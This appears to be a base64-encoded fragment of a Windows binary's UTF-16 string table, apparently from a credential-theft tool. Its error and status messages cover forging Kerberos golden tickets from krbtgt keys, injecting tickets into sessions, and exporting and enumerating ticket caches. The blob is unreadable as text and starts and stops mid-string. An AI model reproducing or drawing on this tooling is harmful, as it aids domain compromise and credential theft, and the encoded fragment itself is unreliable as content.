AawBlAHkAIABpAHMAIABuAG8AdAAgAHMAZQB0ACAAdABvACAAMQAgACoAKgAKAAAAAABuAG8AIAB0AGkAYwBrAGUAdAAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AdABnAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAZQB4AHAAbwByAHQAAAAAAAoAWwAlADAAOAB4AF0AIAAtACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzAAAACgAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0AYQB4AFIAZQBuAGUAdwA6ACAAAAAAACAAOwAgAAAACgAgACAAIABTAGUAcgB2AGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoAIABAACAAJQB3AFoAAAAAAAAACgAgACAAIABDAGwAaQBlAG4AdAAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoAIABAACAAJQB3AFoAAAAKACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAGsAaQByAGIAaQAAAAoAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgADoAIAAlAHMAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAB0AGsAdAAAAG4AbwBjAGEAYwBoAGUAAAB0AGEAcgBnAGUAdAAAAAAAcgBjADQAAABkAGUAcwAAAGEAZQBzADIANQA2AAAAAABhAGUAcwAxADIAOAAAAAAAQQBzAGsAaQBuAGcAIABmAG8AcgA6ACAAJQB3AFoACgAAAAAAIAAgACAAKgAgAFQAaQBjAGsAZQB0ACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAFQAeQBwAGUAIAAmACAAawB2AG4AbwAgAG4AbwB0ACAAcgBlAHAAcgBlAHMAZQBuAHQAYQB0AGkAdgBlACAAYQB0ACAAcwBjAHIAZQBlAG4ACgAAAAAAAAAAACAAIAAgACoAIABOAG8AQwBhAGMAaABlADoAIABlAHgAcABvAHIAdABlAGQAIAB0AGkAYwBrAGUAdAAgAG0AYQB5ACAAdgBhAHIAeQAgAHcAaQB0AGgAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAGEAdAAgAHMAYwByAGUAZQBuAAoAAAAKACAAIAAgACoAIABUAEsAVAAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAgACAAIAAqACAASwBpAFIAQgBpACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIAAnACUAdwBaACcAIABLAGUAcgBiAGUAcgBvAHMAIABuAGEAbQBlACAAbgBvAHQAIABmAG8AdQBuAGQAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABBAHQAIABsAGUAYQBzAHQAIAAvAHQAYQByAGcAZQB0ACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAcgBlAHEAdQBpAHIAZQBkACAAKABlAGcAOgAgAC8AdABhAHIAZwBlAHQAOgBjAGkAZgBzAC8AcwBlAHIAdgBlAHIALgBsAGEAYgAuAGwAbwBjAGEAbAApAAoAAAAAACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAlADAAOAB4AC0AbgBvAG4AYQBtAGUALgAlAHMAAAAAAHQAaQBjAGsAZQB0AC4AawBpAHIAYgBpAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAdQBzAGUAcgAAAAAAawByAGIAdABnAHQAAAAAAHMAdABhAHIAdABvAGYAZgBzAGUAdAAAADUAMgA1ADYAMAAwADAAAABlAG4AZABpAG4AAAByAGUAbgBlAHcAbQBhAHgAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuACAAIAAgACAAOgAgACUAcwAAAGkAZAAAAAAAZwByAG8AdQBwAHMAAAAAAHMAaQBkAHMAAAAAAGMAbABhAGkAbQBzAAAAAAByAG8AZABjAAAAAAAgACgAJQBzACkACgBTAEkARAAgACAAIAAgACAAIAAgADoAIAAlAHMACgBVAHMAZQByACAASQBkACAAIAAgADoAIAAlAHUACgBHAHIAbwB1AHAAcwAgAEkAZAAgADoAIAAqAAAAJQB1ACAAAAAKAEUAeAB0AHIAYQAgAFMASQBEAHMAOgAgAAAACgBDAGwAYQBpAG0AcwAgACAAIAAgADoACgAAAAoAUwBlAHIAdgBpAGMAZQBLAGUAeQA6ACAAAAAgAC0AIAAlAHMACgAAAAAAUwBlAHIAdgBpAGMAZQAgACAAIAA6ACAAJQBzAAoAAABUAGEAcgBnAGUAdAAgACAAIAAgADoAIAAlAHMACgAAAEwAaQBmAGUAdABpAG0AZQAgACAAOgAgAAAAAAAqACoAIABQAGEAcwBzACAAVABoAGUAIABUAGkAYwBrAGUAdAAgACoAKgAAAC0APgAgAFQAaQBjAGsAZQB0ACAAOgAgACUAcwAKAAoAAAAAAAAAAAAKAEcAbwBsAGQAZQBuACAAdABpAGMAawBlAHQAIABmAG8AcgAgACcAJQBzACAAQAAgACUAcwAnACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIABzAHUAYgBtAGkAdAB0AGUAZAAgAGYAbwByACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4ACgAAAAAACgBGAGkAbgBhAGwAIABUAGkAYwBrAGUAdAAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAAoAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAQgBlAHIAQQBwAHAAXwBLAHIAYgBDAHIAZQBkACAAZQByAHIAbwByAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAJQB1ACAAKAAlAHUAIABiAHkAdABlAHMAKQAgAGYAbwByACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAbABvAGMAYQB0AGUAIABDAHIAeQBwAHQAbwBTAHkAcwB0AGUAbQAgAGYAbwByACAARQBUAFkAUABFACAAJQB1ACAAKABlAHIAcgBvAHIAIAAwAHgAJQAwADgAeAApACAALQAgAEEARQBTACAAbwBuAGwAeQAgAGEAdgBhAGkAbABhAGIAbABlACAAbwBuACAATgBUADYACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABrAHIAYgB0AGcAdAAgAGsAZQB5ACAAYQByAGcAdQBtAGUAbgB0ACAAKAAvAHIAYwA0ACAAbwByACAALwBhAGUAcwAxADIAOAAgAG8AcgAgAC8AYQBlAHMAMgA1ADYAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIABkAG8AZQBzACAAbgBvAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAZABvAG0AYQBpAG4AIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABhAHIAZwB1AG0AZQBuAHQACgAAACAAKgAgAFAAQQBDACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAFAAQQBDACAAcwBpAGcAbgBlAGQACgAAAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZQBuAGMAcgB5AHAAdABlAGQACgAAACAAKgAgAEsAcgBiAEMAcgBlAGQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AXwBkAGEAdABhACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZQBuAGMAcgB5AHAAdAAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGgAYQBzAGgAXwBkAGEAdABhAF8AcgBhAHcAIAA7ACAASABhAHMAaABQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGgAYQBzAGgAXwBkAGEAdABhAF8AcgBhAHcAIAA7ACAAQwBEAEwAbwBjAGEAdABlAEMAUwB5AHMAdABlAG0AIAA6ACAAJQAwADgAeAAKAAAACQAqACAAJQBzACAAAAAAAGMAbwB1AG4AdAAAAAoAUAByAGkAbgBjAGkAcABhAGwAIAA6ACAAAAAKAAoARABhAHQAYQAgACUAdQAAAAoACQAgACAAIAAqACAASQBuAGoAZQBjAHQAaQBuAGcAIAB0AGkAYwBrAGUAdAAgADoAIAAAAAAACgAJACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAJQBzACAAIQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAJACoAIAAlAHcAWgAgAGUAbgB0AHIAeQA/ACAAKgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGMAYwBhAGMAaABlACAAdgBlAHIAcwBpAG8AbgAgACEAPQAgADAAeAAwADUAMAA0ACAAbwByACAAdgBlAHIAcwBpAG8AbgAgACEAPQAgADAAeAAwADUAMAAzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABBAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGYAaQBsAGUAbgBhAG0AZQAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAAAAACUAdQAtACUAMAA4AHgALgAlAHMAAAAAACwAAAA9AAAAfAAAAEMAbABhAGkAbQBzAFsAJQB1AF0ACgAAACAAIABTAG8AdQByAGMAZQBUAHkAcABlADoAIAAlAGgAdQAKAAAAAAAgACAARQBuAHQAcgBpAGUAcwBbACUAdQBdAAoAAAAAACAAIAAgACAASQBkADoAIAAlAHMACgAAACAAIAAgACAAWwBJAE4AVAA2ADQAIABdACAAJQBsAGwACgAAACAAIAAgACAAWwBVAEkATgBUADYANABdACAAJQB1AGwAbAAKAAAAAAAgACAAIAAgAFsAUwBUAFIASQBOAEcAXQAgACUAcwAKAAAAAAAgACAAIAAgAFsAQgBPAE8ATAAgACAAXQAgACUAMAAxADYAbABsAHgACgAAACAAIAAgACAAWwAhACUAaAB1ACEAXQAKAAAAAAAKAAkAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHc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AaQByAG0AdwBhAHIAZQAAAAAAaQBuAGYAbwAAAAAAYQBjAHIAAABBAEMAUgAgAE0AbwBkAHUAbABlAAAAAAB0AHIAYQBjAGUAAABPAHAAZQBuAGkAbgBnACAAQQBDAFIAIAAgADoAIAAAAEEAQwBTACAAQQBDAFIAMQAyADIAIAAwAAAAAABPAEsAIQAKAE8AcABlAG4AaQBuAGcAIABQAE4ANQAzADIAOgAgAAAATwBLACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBhAGMAcgBfAG8AcABlAG4AIAA7ACAAQQBsAHIAZQBhAGQAeQAgAG8AcABlAG4AZQBkACwAIABjAGwAbwBzAGUAIABpAHQAIABmAGkAcgBzAHQACgAAAEkAUwBPAC8ASQBFAEMAIAAxADQANAA0ADMAIABUAHkAcABlACAAQQAAAAAASQBTAE8ALwBJAEUAQwAgADEANAA0ADQAMwAgAFQAeQBwAGUAIABCAAAAAABJAFMATwAgADEAOAAwADkAMgAAAEEAQwBSACAAZgBpAHIAbQB3AGEAcgBlADoAIAAlAC4AKgBTAAoAAAAAAAAAUABOADUAMwAyACAAYwBoAGkAcAAKACAAdgBlAHIAcwBpAG8AbgAgACAAIAAgADoAIAAwAHgAJQAwADIAeAAKACAAZgBpAHIAbQB3AGEAcgBlACAAIAAgADoAIAAlAGgAaAB1AC4AJQBoAGgAdQAKACAAcwB1AHAAcABvAHIAdAAgACAAIAAgADoAIAAAAAAAUgBGAFUAAABJAFMATwAvAEkARQBDACAAMQA0ADQANAAzACAAVAB5AHAAZQAgAEEAIAAtACAAMQAwADYAIABrAGIAcABzAAAARgBlAGwAaQBDAGEAIAAtACAAMgAxADIAIABrAGIAcABzAAAARgBlAGwAaQBDAGEAIAAtACAANAAyADQAIABrAGIAcABzAAAASQBTAE8ALwBJAEUAQwAgADEANAA0ADQAMwAgAFQAeQBwAGUAIABCACAALQAgADEAMAA2ACAAawBiAHAAcwAAAEkAbgBuAG8AdgBpAHMAaQBvAG4AIABKAGUAdwBlAGwAIAAtACAAMQAwADYAIABrAGIAcABzAAAACgBUAGEAcgBnAGUAdAA6ACAAJQBoAGgAdQAgACgAMAB4ACUAMAAyAHgAIAAtACAAJQBzACkACgAAAAAATgBPAFQAIAAAAAAAIAAgAFMARQBOAFMAXwBSAEUAUwA6ACAAJQAwADIAeAAgACUAMAAyAHgACgAgACAAUwBFAEwAXwBSAEUAUwAgADoAIAAlADAAMgB4AAoAIAAgACAAIABVAEkARAAgACUAcwBjAG8AbQBwAGwAZQB0AGUACgAgACAAIAAgAFAASQBDAEMAIAAlAHMAYwBvAG0AcABsAGkAYQBuAHQAIAB3AGkAdABoACAASQBTAE8ALwBJAEUAQwAgADEANAA0ADQAMwAtADQACgAgACAAIAAgAFAASQBDAEMAIAAlAHMAYwBvAG0AcABsAGkAYQBuAHQAIAB3AGkAdABoACAASQBTAE8ALwBJAEUAQwAgADEAOAAwADkAMgAgACgATgBGAEMAKQAKAAAAAAAgACAATgBGAEMASQBEADEAIAAgADoAIAAAAAAAIAAgAEEAVABTACAAIAAgACAAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYQBjAHIAXwBpAG4AZgBvACAAOwAgAE8AbgBsAHkAIABCAHIAVAB5ACAAPQAgADAAIAAoAFQAeQBwAGUAQQApACAAYQB0ACAAdABoAGkAcwAgAHQAaQBtAGUACgAAAHMAdABhAHQAdQBzAAAAAABzAGkAbgBnAGwAZQAAAAAAdABlAHMAdAAAAAAAYgB1AHMAeQBsAGkAZwBoAHQAAABCAHUAcwB5AEwAaQBnAGgAdAAgAE0AbwBkAHUAbABlAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAG8AZgBmACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAAAAAEkATgBQAFUAVABFAFYARQBOAFQAAAAAAEwASQBHAEgAVAAAAFMATwBVAE4ARAAAAEoASQBOAEcATABFAF8AQwBMAEkAUABTAAAAAABCAHUAcwB5AEwAaQBnAGgAdAAgAGQAZQB0AGUAYwB0AGUAZAAKAAAAAAAAAAoAWwAlADMAdQBdACAAJQBzAAoAIAAgAFYAZQBuAGQAbwByADoAIAAwAHgAJQAwADQAeAAsACAAUAByAG8AZAB1AGMAdAA6ACAAMAB4ACUAMAA0AHgALAAgAFYAZQByAHMAaQBvAG4AOgAgADAAeAAlADAANAB4AAoAIAAgAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgACAAIAA6ACAAJQBzAAoAIAAgAEMAYQBwAGEAYgBpAGwAaQB0AGkAZQBzACAAIAA6ACAAMAB4ACUAMAAyAHgAIAAoACAAAAAlAHMALAAgAAAAAAAgACAARABlAHYAaQBjAGUAIABIAGEAbgBkAGwAZQA6ACAAMAB4ACUAcAAKAAAAAAAgACAAIAAgAFMAdABhAHQAdQBzACAAIAAgACAAIAA6ACAAMAB4ACUAMAAyAHgACgAAAAAAIAAgACAAIABQAHIAbwBkAHUAYwB0AEkAZAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAEMAbwBzAHQAdQBtAGUAcgBJAGQAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAATQBvAGQAZQBsACAAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABTAGUAcgBpAGEAbAAgACAAIAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AZgBnAF8ASQBEACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAATQBmAGcAXwBEAGEAdABlACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABzAHcAcgBlAGwAZQBhAHMAZQAgACAAOgAgACUAUwAKAAAAAAAgACAASwBlAGUAcABBAGwAaQB2AGUAIABUAGgAcgBlAGEAZAA6ACAAMAB4ACUAcAAgACgAJQB1ACAAbQBzACkACgAgACAAVwBvAHIAawBlAHIAIABUAGgAcgBlAGEAZAAgACAAIAA6ACAAMAB4ACUAcAAgACgAJQB1ACAAbQBzACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAHMAdABhAHQAdQBzACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAABbACUAMwB1AF0AIAAlAHMAIAAoACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGwAaQBzAHQAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAHMAbwB1AG4AZAAAAGMAbwBsAG8AcgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBzAGkAbgBnAGwAZQAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAcAByAG8AdgBpAGQAZQByAHMAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHAAcgBvAHYAaQBkAGUAcgBzAAAAAABzAHQAbwByAGUAcwAAAAAATABpAHMAdAAgAGMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABzAHQAbwByAGUAcwAAAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAd